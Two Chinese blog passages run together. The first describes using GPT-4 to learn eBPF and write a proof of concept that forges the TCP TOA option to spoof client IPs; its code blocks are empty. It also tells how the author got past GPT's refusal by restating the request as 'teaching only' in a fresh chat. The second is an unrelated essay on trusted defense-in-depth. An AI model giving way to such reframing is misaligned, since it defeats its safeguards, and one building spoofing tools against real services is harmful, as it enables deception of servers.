7. 清理资源
在完成eBPF程序的使用后,确保卸载程序并清理用户空间和内核空间的资源。
请注意,eBPF程序的开发和使用是一个涉及多个组件和步骤的复杂过程,需要一定的系统编程和Linux内核知识。强烈建议通过阅读更多的文档、教程和专业的书籍来深入理解eBPF的工作原理和编程细节。
如果您是一个刚开始学习eBPF的初学者,您可能会想从使用现有的eBPF工具开始,像是bpftrace或bcc提供的高层次的脚本语言和工具集,这样可以更快地上手并且避免处理一些底层细节。随着对eBPF生态的理解加深,您可以逐渐开始编写更复杂的eBPF程序。
看起来就是需要写 c 的代码,然后通过工具注入到内核。这里我留意到 bpftrace 或 bcc 似乎不太一样,所以我下一个问题就是 “bpftrace 和 bcc 有什么区别呢”
1 |
|
到这里,我的理解是它们两个就是注入的实现不同,以及 bcc 可以很好地与 Python 融合。
哎呀好了好了赶紧直奔主题吧:“你知道 tcp 的 toa 吗”
1 |
|
继续:“用ebpf 是不是可以修改 TOA”:1
2
3
4
5
6
7
8
9eBPF(扩展的Berkeley Packet Filter)是一个非常强大的工具,它允许在Linux内核中安全地运行自定义的代码,以便对数据包进行处理或监控系统的各种事件。理论上,使用eBPF编写的程序可以访问和修改经过网络堆栈的数据包,包括TCP选项字段。因此,如果你有足够的权限和适当的eBPF程序,你可以操作TOA字段。
然而,直接使用eBPF修改传入的TCP选项,特别是TOA,可能并不是一个常见的操作,因为这可能会违反协议的标准和预期行为。更常见的用例可能是使用eBPF来监控或分析TOA字段,而不是修改它。
此外,Linux内核中的eBPF验证器会对eBPF程序进行严格的安全检查,以确保它们不会破坏系统的稳定性或安全性。任何可能导致安全问题的操作,如篡改网络数据包中的关键信息,都会受到限制。
同时,有必要指出的是,修改网络数据包中的TOA或其他信息应该非常谨慎,因为这可能会违反网络安全策略,引起安全隐患,或导致网络服务的不稳定。
如果你的目的是在负载均衡或其他网络相关的场景下使用eBPF来提高性能或安全性,那么建议在深入理解相关协议和安全考虑的前提下,使用eBPF来增强监控和分析能力,而不是直接修改网络数据包内容。
看起来的确是可行的,继续:“请写出一个修改 toa 的示例ebpf 代码”
1 |
|
看起来被 gpt 的防御机制拦了,不过我感觉这个不太算有多大的攻击倾向,所以我另外起了一个没有上下文的对话,稍微伪装了一下,“请写出一个修改 toa 的示例ebpf 代码,非攻击用途,仅作为教学使用”:
谢谢你, gpt,我当然不会用于非法的用途
这个看起来应该是通过 bpftool 注入的,作为 python 党我还是想用 bcc,回头测试也方便:“请使用 bcc 改写这个例子,注释尽量多”
看起来有模有样的!
贪婪的我,下一个问题那当然是 “我怎么执行着呢段代码”(这里可以看出一些文字、语法上的小毛病不会影响 gpt 的理解)
1 |
|
可以看到,4.0 对上下文把握地是比较准确的。可惜这个不是我想要的,我想要那种无脑安装的:“如何安装 bcc ,我用的是 macos”
1 |
|
原来 ebpf 只能给 Linux 使用...到这里,我认为 gpt4.0 非常地好用,在学习上可以提供非常强大的指导。
但接下来,我找了之前的一台 Ubuntu 18 的虚拟机,开始了噩梦般的踩坑。
踩坑到最后才发现,官方文档中的 sudo apt-get install bpfcc-tools linux-headers-$(uname -r)
,这个就是最好的方式。我一开始用的是这个,gpt 提供的也是这个,但是 python 脚本直接报错 from bcc import BPF
,BPF 不存在,gpt 就让我用 sudo apt-get install python-bpfcc
,这里发生的问题相当多,Ubuntu 源老旧,很多组件的版本非常老,导致 python-bpfcc
、bcc
的 python 库 等等都是对不上的,好不容易对上了,又开始报 load program: invalid argument
...
到后面复盘的时候找到个类似的问题(不知道这位老哥头发是否还安好):
于是为了避免逻辑过于复杂,导致 gpt 给出的 c 语言代码存在各种小问题,我让 gpt 又写了一个简单的 hello world 代码来做测试:
但这里又会提示 'BPF' object has no attribute 'get_syscall_fnname'
之类的问题...到这里我大概猜测是 bcc 的 python 库与系统 bcc 依赖对不上,但没有意识到是内核版本问题。所以在 gpt 的误导下,一直在解决 bcc 本身的问题。直到我搜了下 bcc 官方的 issue 才发现可以通过手动安装的方式来解决旧版本依赖对不上的问题,这里是第 1 次动用搜索引擎。
依赖问题终于解决,但我发现 c 中
1 |
|
这一段会报错,也没有错误详情,非常令人抓狂
在当时我又去问了下 gpt,它给的答复如下:
1 |
|
听上去像在鬼扯,但是我也没有其他证据,于是在这里又花了一点时间尝试了一下,但迟迟无法突破,期间 gpt 又说了一些什么 “需要重新计算 checksum”、“需要使用 XDP、TC 或者类似的工具” 之类的怪话,把我整麻了。多次尝试无果,我决定看一下网上流传的 exp,这里是第 1 次场外援助。
网上流传的 exp:
回顾我的探索过程,其实这个地方的思路有点偏了,原因是一开始我提问的是如何修改 TOA,在 gpt 的理解中,修改类似于篡改,需要劫持、修改、重放。在我的本意中,只要能实现类似效果就可以,我们的目的只是伪造 TOA,hook TCP 包构建的事件是一种非常优雅的方案。
思路有了,我还是决定尝试写出这个完整 exp。在 gpt 的帮助下,新的代码很快生成了:
代码看起来很不错,但是在 Ubuntu18 上执行还是报错,提示 BPF_SOCK_OPS_WRITE_HDR_OPT_CB
未定义。gpt 提示我可能是内核版本的问题,但是 gpt 说自己的知识库直到 2023 年 4 月,所以它也不知道哪个版本的内核有,没办法,只能第 2 次求助场外支持。在 Linux 内核仓库翻了一下(https://github.com/torvalds/linux/blob/v5.9/include/uapi/linux/bpf.h
),发现低版本内核的确没有 BPF_SOCK_OPS_WRITE_HDR_OPT_CB,5.10
才开始有的,而 Ubuntu 18 用的是 4.x...
但我又懒得再弄虚拟机,所以我尝试直接升级 Ubuntu 18 的内核,但是升级上来之后,又开始提示编译 c 代码时还是找不到 BPF_SOCK_OPS_WRITE_HDR_OPT_CB... 到最后我才发现 bcc 中使用的头文件的位置是在 /usr/src
下的,而不是 /usr/include/linux
下的。这里折腾又花了一些时间,18 版的实在是太老了,很多源都 404 了。
然后我就老老实实地去下了一个 Ubuntu 20,为什么不下载最新版本的 23 呢?因为之前在大学期间研究一些东西的时候我发现最新版的 Ubuntu 总是会有各种奇怪的问题,所以我习惯性会用稍微旧一点的版本。但还是会有上面的那个问题,甚至还有 bcc 与 python10 不兼容的问题...所以我索性一咬牙上了 Ubuntu 23,上面的一切问题迎刃而解。
这就完了?费了半天劲我的代码只执行到了 b = BPF(text=bpf_program)
,下一行又开始报错了:attach_sock_ops
未定义...
于是我继续求助 gpt:“bcc 好像没有 attach_sock_ops,应该用什么来替代呢?”
1 |
|
虽然经过验证,attach_cgroup_sock
也是不存在的,或许旧版本的 bcc 的确有这个方法。但是 gpt 依然提供了一个非常关键的信息:对套接字的修改需要附加到 cgroup,如果要对所有进程生效可以使用 /sys/fs/cgroup/
。
剩下的问题,到这里 gpt 已经无能为力了,我猜测可能的确是知识库没更新吧。这里第 3 次求助场外支持,gpt 给的关键字是 cgroup
、BPF.SOCK_OPS
、sock_ops
,所以我在想是不是可以搜到相关的代码,然后在 bcc 的仓库中(https://github.com/iovisor/bcc/blob/master/examples/networking/sockmap.py
)找到了答案:
因此原代码的下面一段应该是:
代码终于跑起来了。
但是我发现,BPF_SOCK_OPS_WRITE_HDR_OPT_CB 事件一直未被触发,于是我将 bpf_trace_printk("%d", skops->op);
放在 add_toa_option
的入口,来确认每次触发的事件是什么,发现一直是事件 1、3、4、6 之类的。经过询问 gpt 得知:
1 |
|
gpt 的知识储备不得不服。
加了 bpf_sock_ops_cb_flags_set
之后果然触发了新事件 BPF_SOCK_OPS_HDR_OPT_LEN_CB
,gpt 告诉我:
1 |
|
但这里又出问题了,gpt 告诉我要用 skops->reply = sizeof(struct tcp_option_toa);
,但实际上并不能成功;这里又陷入死局,我不知道改用什么函数来 set 长度。这里第 4 次求助场外支持,经过搜索发现官方文档里有说明:
我把最终代码放在 github 上了 (https://github.com/Macr0phag3/toast
)
运行代码,加上一些复现网站测试发现无法成功,应该是已经修复了;wireshark 抓包发现的确加上了 TOA:
我担心这里可能还有一些问题,所以想自己搭个环境看看 TOA 是咋取出来的。相关环境的搭建可以参考 github (https://github.com/Macr0phag3/toast
)
安装完 toa.ko 之后,再安装个 Nginx,启动测试:
看来我写的 bcc 的确是生效的(腾讯云的这个 toa.ko 取的 TOA_KIND
是 200 而不是 254,记得改一下,这个取决于 ko 文件的逻辑)。
最后,既然是“大作业”,所以我决定让 gpt 来给我评分:“假设你是一名大学老师,你教授的科目是 ebpf,到了期末,你布置了一项大作业,要求学生通过 ebpf 来实现伪造 TOA 的 poc 代码。现在,我上交了上述代码作为大作业的结果,请你进行打分,并详细阐述给出这个分数的理由。满分为 50 分”
1 |
|
总共 50 分的满分,这份 80% 由 gpt 编写的代码,狂砍了 45 分,按照百分制是 90 分。
还蛮好玩的对不对!
我花了 3 天的时间,从完全不会 ebpf 到写出一个看起来很专业的 bcc 代码(荣获 90 分),过程中虽然踩了无数的坑,但是相当有意思。
第一次使用这样的学习模式,我发现了一些好处:
上述代码
之类的话,他偶尔能记得,偶尔会要求你提供代码...同时也有一些坏处。这种学习模式可能不太适合我,我比较喜欢系统性学习,这种学习模式会让我非常没有安全感,有一种大学时候刚开始做 ctf 的感觉,东一块西一块,我虽然写出了伪造 TOA 的代码,但是我依然不知道内核有哪些 BPF_SOCK_OPS_*
事件,以及如何准确地找到需要的回调事件或者是注册的函数,包括 bcc 中的那些方法都不知道是干啥用的,同时我也不知道这些该去哪里查。另外就是 gpt 的回答受限于历史资料,对于这些比较新的信息可能有所缺失,这会导致给出的答案偏差较大,不过这个似乎是无解的。
最后让我感觉比较深刻的是 gpt 的思考路线不会往后回溯太远。这个我画个图解释一下:
假设我现在通过询问走到了 b211,发现到不了终点的时候,gpt 会优先尝试在 b211 继续往后探索,不会选择切换到 b212、b22,更不用说切换到路线 A 了。这个时候稍加一些额外的信息提示,gpt 就会立刻切换到路线 A,从而到达终点,但是这里的额外信息提示,对于初学者来说是很难给的,只有入了门之后,相对比较熟悉了才能够猜测到。对于本文的 case,对于熟悉 ebpf 的人,回调事件的使用应该是轻车熟路了,那么提供相关的信息给 gpt 或许会大幅缩短探索的过程。所以就目前而言,至少在计算机领域,要想完全取代打工人还是很有难度的。
但不管怎么说,chatgpt4.0 turbo 的能力已经大幅超出了我的预期。
时代变了
大人
我们在 22 年 11 月向行业公开发布了《数字银行可信纵深防御白皮书》,其实本文早在那个时候就想写了,但是我总觉得酝酿得不够充分,加上 23 年一开始工作强度就比较大,直到最近才有一点时间可以好好总结下(好久没写文章了嗷);并且最近我们网商安全的新书即将发布,我想在新书发布之前,来打一个头阵,做点力所能及的宣传。
据我了解,网商安全应该是第一个吃可信纵深防御这个螃蟹的,加上白皮书由于篇幅的限制,对于一些实践层面的细节无法说的很细,因此本文会尽可能地从切身经历出发来分享,以降低理解上的成本。同时一些理论上的东西我也不太会涉及太多,白皮书、包括之前沈昌祥院士以及各位可信计算的大佬的书籍、文章对此已经阐述得很多了,因此本系列主要是聚焦在实践层面的分享。
网商的可信纵深防御专项建设有很多年了,我现在算是这个专项的二代目,也经历过听过-学习-理解-实践的整个过程,因此我想从当时一个懵懂的初学者角度出发来和大家介绍。
在说可信纵深防御之前,我想先说一下零信任。在 21 年 12 月,我在部门内部做了关于零信任相关的分享,同时在博客上也发了脱敏的连载文章。做技术分享是非常好的回顾、归纳与总结的机会,在写 ppt 的过程中,我给自己提出了两个疑问,在探索这两个问题的过程中我想明白了很多事情,至今依旧让我受益无穷。
第一个问题是,一个安全能力怎么才算是零信任系统?
这个问题像极了忒修斯之船悖论:在一望无际的大海上,有只大船在海面上航行,名为忒修斯之船,日复一日的航行导致船体发生了不同程度的损坏,于是有人为其换上了新的木板,若干年后,船体的所有零部件都被更换了一遍,从新旧的角度来说,这是一只新船,那此时我们还能称它为忒修斯之船吗?以及当人们将更换下来的零部件,再次组装成一艘船后,它是忒修斯之船了吗?两只船究竟谁才是真正的忒修斯之船?以零信任系统为例,假设有一个 waf,我将零信任系统的模块逐步实现,补充到原有的 waf 上,直到完全迁移完成,那这个时候我能不能认为零信任不过就是 waf 罢了?
作为安全工程师,我们经常会听到很多很多新的名词、理念,而类比又是一个非常有效的学习方式,因此对待新型的事物,时常会与旧物进行比较,得出:“这不就是 xx 吗” 的结论,这种狭隘的角度会容易让我们失去掉很多解决问题的契机。
从零信任理念来看,它是强调了验证的一个持续性以及消除隐式的信任关系,至于零信任系统是以什么形态存在的,其实并不重要,甚至零信任本身也不重要,如何系统化解决安全风险才是重要的,零信任能否为此目标服务才是我们需要认真思考的。“建设业内一流的零信任系统”,在甲方可能不会是一个很好的目标(除非准备卖钱?),安全风险的解决与否,与系统的优越性并不是完全挂钩的,更何况达成这一目的还需要巨额的安全建设成本(包含人力投入、时间成本以及对于业务效率的负面影响等等)。但作为一线的同学来说,这一点可能是非常有诱惑力的。因此,这给我们做安全建设的提了一个醒:永远要从解决风险的角度出发。
从我在网商的经历来看,零信任理念有独属于自己的辉煌时代,借助零信任的理念,通过参考 Goole 在零信任的实践经验,的确解决了很多实际的安全问题,并且网商零信任是一个非常通俗易懂的、经典的安全切面实践,我觉得应该也给安全平行切面的理论以及实践提供了不少实际落地层面的验证(这一点我未做考证)。这里我想给的建议是,如果你觉得零信任理念能带来一些安全建设层面的启发,建设成本又能接受的话,去做就完事了,比如给应用或者员工设备颁发唯一的身份标识并在每次请求中都做校验这个方案不错,或者是员工终端与统一代理网关联动解决身份盗用问题是个好办法,等等,干就完了,至于所谓的零信任的其他好处,什么干掉 VPN、无边界之类的大饼,如果你用不着或者成本接受不了,趁早扔垃圾堆里去(给老板或者市场画大饼除外)。零信任别的内容这里由于篇幅原因就不展开说了。
网商的防御能力近年来逐步转为可信防御的逻辑,零信任系统也不例外,但我们时常还是会称之为零信任系统 —— 你看,名字以及存在形式根本就不重要,能解决什么样的问题才是重要的。
第二个问题是,一个请求,要对它做什么验证,才能算有验证,才能被信任?
这个问题直到后面做可信纵深防御时才算想明白,这里先按下不表。
纵深防御已经是老生常谈的概念了,但这里我想让橘友们想一个问题:什么样才算纵深防御,是针对一个攻击路径有多个防御能力覆盖?还是针对某个特定的攻击手法有多个防御能力覆盖?还是应用层、网络层这些不同层级上有多个防御覆盖?以及几层算纵深?……
上面怎么说的来着?“永远要从解决风险的角度出发”。
纵深防御是为了解决单点防御能力失效导致被突破的风险,因此首先需要注意的是纵深防御不要做成了无脑的多层堆砌,导致多层变单层。因此纵深防御的建设应该成为不同维度安全建设的一个统一原则,通过不同维度的纵深最终构建一张大纵深防线网。比如从一个安全事件发生的时间线维度,我们可以划分为事前(安全治理、心智宣导等)、事中(安全防御、威胁感知等)、事后(应急响应、线下打击等);从计算机系统层面的维度,可以划分为应用层、网络层、基础设施层等等;从应用层可以划分为用户行为(身份校验、权限校验、功能审批、数据查询等)、应用行为(文件哈希、启动参数、文件读取、命令执行等)等等;从网络层面可以划分为互联网边界、办公网边界、内网边界等等;从单个攻击手法(如命令注入)可以划分为特殊字符过滤、RASP 执行系统命令检测、容器进程黑白名单等等...
另外一个需要警惕的地方是,纵深防御的各个能力不能互相影响导致出现 1+1<2 的情况,这里的负面影响,就我个人的经历来说有两大类:
所以纵深防御的建设不仅仅是堆砌各个维度的防御能力这么简单,每一个维度乃至每一层都需要仔细考虑其之间是否需要建立联动机制,随着层数的增加,每上一层楼就需要更加小心谨慎。
那么显然,加大纵深,要么是提升覆盖的维度,要么是提升单一维度的纵深数量,从理论上说,前者覆盖范围广但是针对性弱,后者有较强的针对性但是覆盖范围小。总之,不论怎么做,加大纵深防护,防护效果也会增强,同时也意味着投入成本的增加。这里的成本问题很多人比较关心,实际上就我的经验来看,很多时候在一个维度上加一层纵深可能就是花几天新增一个策略,或者花费一些投入解决一个单点问题就可以在一个风险面发挥正面作用(比如解决员工身份盗用问题,具备身份与权限是攻击大部分办公网系统的前提),性价比是很高的;并且很多维度纵深其实早就有了,很多安全部门的工作都有事前、事中、事后的职能划分(只是可能不这么叫),以及网络层(acl 总有吧)、应用层(身份认证总有吧)等策略该有的其实也有。
因此,个人认为,所有公司都是已经具备了纵深防御能力的,只是成熟度不同,接下来需要好好思考的是该从什么角度入手去回顾纵深防御建设的现状,以及后续应该如何做规划。这个问题是很开放的,每家公司的情况不同,没有统一的答案。不论是事前、事中还是事后的建设,都可以按照纵深的原则进行构建。由于我目前是在做事中的纵深建设,并且部门马上要出新书详细介绍事前、事后各个阶段的建设经验了,所以这两个这里我就不展开了。
从个人经验出发,事中的防御纵深,我建议是分为四大步:
还有需要注意的是,与上面说零信任时提到的原则类似,对于实质性风险的解决来说,纵深防御这一理念以及纵深的层数其实并不重要,重要的是这么做是否真的可以解决问题。实施纵深防御,是要最大限度抵御当下某个发生频率极高的高风险攻击手法?还是对单点的防御能力进行加固?还是要解决整个防御体系的结构性问题?这些都是在做之前需要提前想清楚的。按照概念来说,公司有事前事中事后的组织架构,或者是自研/采购了好几种安全能力都覆盖上了,那也算是建设了纵深防御,内部想怎么吹都行,但是黑客可不陪你玩文字游戏 :)
最后,纵深防御理念不仅在安全能力覆盖方面可以运用,后面可以看到,这一理念在安全能力建设过程中如何规避稳定性风险中也发挥了很大的指导作用。
首先需要先明确下什么是“可信”。
- TCG 用实体行为的预期性来定义 “可信”:如果一个实体的行为是预期的方式符合预期的目标,则该实体是可信的。
- 张焕国教授认为可信计算系统是能够提供系统的可靠性、可用性、安全性(信息的安全性和行为的安全性)的计算机系统,通俗的称为:可信≈可靠+安全。
我们在落地时,将可信定义为:预期 + 安全,既要符合业务预期,同时也要符合安全要求。
有了可信的定义之后,按照我的理解,可信防御的建设,可以分为三大部分:
那么可信纵深防御与零信任的区别是什么?这个问题我回答的角度就是零信任的那个遗留问题 “一个请求,要对它做什么验证,才能算有验证,才能被信任?”。我的答案就是,零信任没有定义出什么样的情况下才算有认证,可信防御明确要求主体、客体、行为、环境需要满足可信的要求,虽然没有非常具体度量的内容和动作,但是至少对这个程度做出了明确的要求。
可信架构的搭建对于可信计算的原理有一定要求,但在系列的结构上,重点内容是纵深防御+可信防御的实践,所以这里对可信计算仅对可信相关的一些理念简单做一些个人理解层面的分享。
从落地层面来说,可信防御不可避免地要回归到可信计算。可信计算又需要回归到信任根上。
在我看来,信任根是构建安全能力的基础:不可避免你必须要信任一些东西。这个被信任的东西显然越底层越安全,但信任根在越底层,往上构建信任链所投入的成本也就越高。信任根可以是硬件芯片,可以是个内核模块,也可以是高权限启动的进程,也可以是业务应用...总之丰俭由人,对于一个企业来说,当下能接受多大的成本投入,就可以把信任根扎在那个地方,后期随着投入的加大,可以不断把信任根迁移到底层。
事实上,即使确定要将硬件芯片作为信任根,比如 TPM 或 TCM+TPCM,那么从落地层面,我也十分建议先从上层开始构建,然后投入一部分精力在对基础设施的升级换代上,可以说是两头一起搞。制定好可信防御的架构后,在基础设施的升级换代的同时,升级常规安全能力,让它可以实现可信级的管控策略,然后再编写可信级的安全策略,再看当前信任根扎在哪个地方比较合适,这样投入产出比是最大的。涉及到基础设施的替换升级,可能需要 3-5 年,但是上层的软件编写、迭代可以非常迅速,效果也是立竿见影的。
这一层距离业务是很远的,所以基本上是按照可信计算的标准来建设,周期也比较长。
这里简单补充介绍一些基础知识:
TCSEC
与彩虹系列:1985 年美国国防部制定了世界上第一个《可信计算机系统评价准则》(Trusted Computer System Evaluation Criteria,TCSEC)。在 TCSEC 中第一次提出可信计算机(Trusted Computer) 和可信计算基(Trusted Computing Base,TCB) 的概念,并把 TCB 作为计算机系统安全的基础。彩虹系列是最早的一套可信计算技术文件,标志着可信计算的出现。彩虹系列文件是一些评价准则,不是技术规范,因此没给出相应的系统结构和技术路线。TCPA
与 TCG
:1999年,美国 IBM、HP、Intel、Microsoft、Compaq、日本 SONY 等著名 IT 企业发起成立了可信计算平台联盟(Trusted Computing Platform Alliance,TCPA)。2003 年 TCPA 改组为可信计算组织(Trusted Computing Group,TCG)。TCG 旨在研究制定可信计算的工业标准,比如可信平台模块(TPM) 规范、可信软件栈(TSS) 规范、可信网络连接(TNC) 规范等等。在 TCG 技术规范的指导下,国外企业已经推出了一系列的可信计算产品。许多芯片厂商都推出了自己的 TPM 芯片,几乎所有的品牌笔记本电脑和台式 PC 机都配备了 TPM 芯片。微软先后推出了支持可信计算的 VISTA 和 WINDOWS 7 操作系统TPM
:TCG 定义的一个可信平台模块,本质上是一种 SOC(System on Chip) 芯片,是 TCG 认为可信计算平台的信任根。中国的 TPM 制造厂商主要有瑞达公司和国民科技公司RTM
与 RTS
与 RTR
:TCG 认为一个可信计算平台必须包含三个信任根:可信度量根(Root of Trust for Measurement,RTM)、可信存储根(Root of Trust for Storage,RTS) 和可信报告根(Root of Trust for Report,RTR)。简单来说就是 RTM 负责度量(写),然后把结果保存在 RTS 里(存),由 RTR 报告当前状态(读),这一机制叫做 TCG 的 度量存储报告机制
TSS
:由 TCG 定义的可信软件栈(TCG Software Stack,TSS),可信计算平台上 TPM 的支撑软件,主要作用是为操作系统和应用软件提供使用 TPM 的接口。可信计算平台以可信度量根核(CRTM) 为起点,以信任链的方式来度量整个平台资源的完整性,将完整性的度量值存储在 TPM 中的平台配置寄存器 PCR 中,并通过 TPM,向询问平台可信状态的访问者,提供度量报告CRTM
:可信度量根核(CRTM) 是平台启动时首先执行的一段代码TCM
:中国提出的可信密码模块 TCM(Trusted Cryptography Module)。2005 年中国开始制定自己的技术规范,2006 年制定出《可信计算平台密码方案》规范。在此规范中把可信平台模块 TPM 改称为可信密码模块 TCMTPCM
:中国提出的可信平台控制模块 TPCM(Trusted Platform Control Module),解决 TPM 没有主动控制能力从发展历史上看,可以把软件开发领域的“可信“看做可信 1.0,它主要关注的是主机可靠性,通过增加冗余备份、容错算法等技术实现,在非安全领域,可信 1.0 还有很广泛的应用。但冗余是解决不了网络安全问题的,因此 TCG 提出基于 TPM 那套东西,主要也是想从密码学和硬件层面实现可信根与信任链构建,解决安全问题,这里可信部件是被计算部件依赖的,可以把这套东西叫做可信 2.0。我国提出的可信 3.0 理论,提出计算部件和可信部件分别构成逻辑上独立的系统(双重体系),可信部件主动监控计算部件以实现系统可信。
个人感受,当前快速发展和工程化、商业化的主要还是可信 2.0,因为有明确的技术方案比如(TCM 和 TSM)。到了可信 3.0,硬件部分的 TPCM 和其“主动度量”概念已经有实际产品,但是软件或者架构中的“双体系”、“可信软件基(TSB,Trusted Software Base)” 都很难形成实际的东西,甚至在理解上也有不小的分歧。我们内部有人认为运行在系统内核中的安全模块就是 TSB,有人认为完全独立于计算平台的子系统才算 TSB;还有人则认为可信 3.0 根本无法落地。
至于如何结合内部情况选择适合自己的技术路线,这个问题相信屏幕前的各位 CTO/CISO 会有自己的答案。
对于业务部署的环境来说,由安全能力来保障它们是可信的,但是对于安全能力自身来说,缺乏安全性保障,历届护网,灯下黑的事情已经出现过好多次了。因此构建信任链的一个重要作用就是保障安全产品自身的可信;其次,由硬件芯片保障的信任状态可以作为可信策略的一个强化点,例如,由硬件芯片派生的证书来签发一个应用可信级身份。
可信链理论上每一个环节都需要具备处置能力,否则断层的那一环如果被篡改,可能连带导致下一个环节对可信状态的判断被篡改。但是越底层的处置能力,影响面就越广,恢复成本也越高。容器挂了重新拉齐一个,影响单个应用的部分流量;物理机挂了,影响的应用范围就难说了,现在很多是在物理机创建 ECS,ECS 创建容器,这种情况下物理机挂掉影响面会更广;如果是芯片层面的处置,恢复可能需要去机房操作。带来的好处就是对于攻击者来说,攻击点逐步向底层下沉,正面对抗需要花费非常高昂的攻击成本。因此信任链的根扎在哪里需要根据实际情况谨慎地做出选择。
另外值得一提的是,可信 2.0 在信任链中关注的是数据完整性,确保 BIOS、OSLoader、OS 的数据完整性,但是这只能说明这些软件在启动前没有被篡改,并不能说明这些软件中运行中是安全的(例如在运行的过程中,通过篡改安全能力动态载入的模块实现攻击),我们在探索的过程中提出了静态可信与动态可信的概念用以区分启动前的可信与运行时的可信,我们认为这才是完备的信任状态,这一点与沈院士在可信 3.0 中提出的理念不谋而合。
客观地来讲,信任链构建如果要做的很完备,不是一件简单的事情,信任根的位置、信任状态的传递、软件的行为可信性等等,都是一项需要长期研究并逐步迭代的过程。
个人认为,为了尽量扩大普适性,这一块可以分为能力的建设,安全策略的制定,以及配套实施的建设。
网商在上层可信级能力的建设中,基本都采用了安全平行切面作为实施的技术方案。对于切面的详细介绍可以参考切面的白皮书。我体会最深的地方有两点:
在交流的时候经常有人问是不是不用切面就没法实现可信纵深防御这套东西?我感觉这个要看对切面怎么理解。切面可以认为是一系列具体的产品,也可以认为是一套技术方案。从技术方案的角度来理解,事实上可能很早之前就已经有人这样去做了,但是切面的出现完善了这种安全与业务解耦的体系,可以指导我们系统化地进行建设,而不是在单点上灵光一闪。具体能力如何做,这个涉及大量内部的信息,不太好非常具体地展开说,但可以通过切面的思路来推导,例如如果所有应用都是通过 Nginx 集群进行负载的,这意味着用户访问系统必然需要经过 Nginx,那我们可以通过类似 OpenResty 的玩意来实现一个切面,可以非常方便地构建拦截、内视等功能,如果对 lua 的性能不太有信心?也可以选择用 C 魔改 Nginx;又比如,如果内部大量系统都是镜像化的,可以部署 sidecar 来实现切面,实现对容器请求的接管或者校验(需要适配下具体的协议),比如 Mosn 就是一个非常经典的例子。
管控能力对各种数据(流量、行为等等)解析得越精细,管控策略也就可以做得更加强,很多时候之所以我们无法区分正常行为和攻击行为,或者是误报高,往往是因为少了某几个关键的特征,而这些都需要管控能力来支持。
其实相比于这些单点能力建设的难度,我感觉基础设施的统一性对切面的运用影响可能更大。比如某公司的所有办公网系统,都是直接在物理机上部署的,并且都是研发自己搭建的 Nginx;还没有办公网终端的软件研发能力;也没有 RASP,所有环节都是发散的。受限于内部的情况,我也不确定这种情况下是否能运用切面的思想来实现解耦,即使安全有话语权去推进架构升级(我觉得这玩意是 CTO 该干的),或者想办法把口子收一收,但这样又感觉成本很高,每家公司都有自己的历史包袱。
为啥这两个要一起讲呢?因为我认为这两个是密不可分的。能力的建设如果实在不行,就先把支持可信策略的逻辑弄了,至少部分高风险场景管控强度可以提升上来。这就是为什么上面我说 “尽量扩大普适性”,有多少投入只能干多少事,好钢用在刀刃上;配套设施建设则是落地策略的关键。
这里经常被问的一个经典问题是:可信级策略是否就是配置白名单?先说答案,白名单作为一种具象化方式,大部分情况下是最佳选择,但是并不绝对。
从我们对可信的定义下手:预期+安全。要实现这两者,最直接的思路就是白名单,因为我们认知和见识有限,只能枚举出我们见过听过的东西,所以大部分情况下直接用白名单是最合适的。但是再拓展一步想,之所以我们惧怕那些未知的东西,是因为不知道全集是什么,假设全集是已知的,可以保证是能列举的,那么用黑名单也是可以的。举个例子,任意系统对 B 的访问我们希望可以通过 sidecar 做到可信级的端口管控,已知业务只需要 80 端口的访问,那么我们在 sidecar 中可以给 80 加白,其余默认走到 reject;另外一种方式是可以给 65534 个端口加黑,保留 80,因为端口数是可以枚举的,所以这种场景下可以做替代。因此,如果已经具备了黑名单形式的端口访问管控,那其实不需要改造这个管控能力也可以实现可信级策略,相比对能力进行改造成本要小得多。
不过下面还是按照常规的方案,即白名单策略在支持白名单的管控能力上执行,来拓展做一些介绍。
上面就是一个策略上线的过程,其中也可以看到稳定性风险防御的纵深原则。策略上线之后还没完,还有些后续运营的工作。上面提到可信是预期+安全,这个流程只做到了部分预期;以及白名单一开始可能比较粗,所以后面还需要持续优化白名单,在能接受的情况下尽量收缩白名单的范围。
再往后就是常规运营了,比如业务的新增变动可能被你拦截了,这个时候就需要去帮他看看怎么解决,或者给他甩个文档之类的。或者发现线上出现大量拦截,这个时候就需要抓紧去定位下是什么原因触发的。
首先从上面可以看出,对历史数据的分析是很重要的,因此对于那些本身具备大数据分析平台的公司来说,存储和分析数据都好说,要空间有空间,要计算资源有计算资源;而对于这方面实在没辙的公司来说,要做的话只能尽量延长观察时间了。
其次,白名单策略的上线对稳定性层面的考虑需要比较充足,因此至少要有完善的监控和告警能力;其次我强烈建议每个能力都做一个熔断机制,拦截阈值超过既定值就全部放行,随着时间的推移阈值可以逐步加大直至关闭熔断,这玩意可以让你在策略上线后的那几个晚上睡个好觉。
还有,好不容易上线的策略,是不是希望它可以一直有效呢?因此对于策略以及能力的持续性巡检能力也是十分推荐建设的,这方面的内容在我们的新书中也会做详细的介绍。
最后主要是效率问题 —— 如何降低运营成本。
比如如果新增一个防护对象(比如新创建的应用或者新申请一个域名),都需要手动接入,那要累死了,所以我强烈建议实施默认接入机制,这里是采用了我们默认安全的思路(新书中会详细介绍),先控制增量,再解决存量。我想了两种方案:
效率问题还有日常的事件处理,这里可以用一些机器人来帮忙(运营脚本是机器人的灵魂,而各种触发机器人的口子则是高效运营流程的起点),这个大家都玩过,也就不多数了。值得一说的可能是策略的自动生成吧,其实大部分情况下我们面临的都是文本格式的数据,通过一些算法可以非常方便地对历史行为进行刻画,这样可以大幅度减少人工的重复性工作。
最后,我很想呼吁大家能够花点精力关注一下员工体验。我们做安全的更多时候是把精力都花在了强度提升上,不论我们如何制定策略,如何期望做到“润物细无声”,这都是不现实的,因为员工永远希望走最方便的路线,而最方便的路线通常是不安全的。尤其是像安全地位比较高的公司,因为比较高层或者公司性质决定了比较注重安全,在这种情况下会制定出相当严格的管控策略,更有时候安全内部对于策略比较了解,又觉得自己安全意识好,时常会想办法给自己加白,这就非常滑稽了,安全部门制定的策略安全部门自己都不遵守,短期内安全可以通过高层决议之类的东西来压着员工,长期来看这种大家都不提的冲突一定是件坏事。遇到员工的抱怨,哪怕是态度好一点去安抚一下,这个看着简单的手段,实际上很多人都没法长期做到,在其他部门的员工视角,安全部门是作为一个整体的,而一线安全同学的态度是个人行为,个人行为藏身于“众”,通过一个团体的形象做掩体,出现了非常典型的法不责众的吃瓜心态。
补充于 23.12.7
发现漏掉了这一部分。
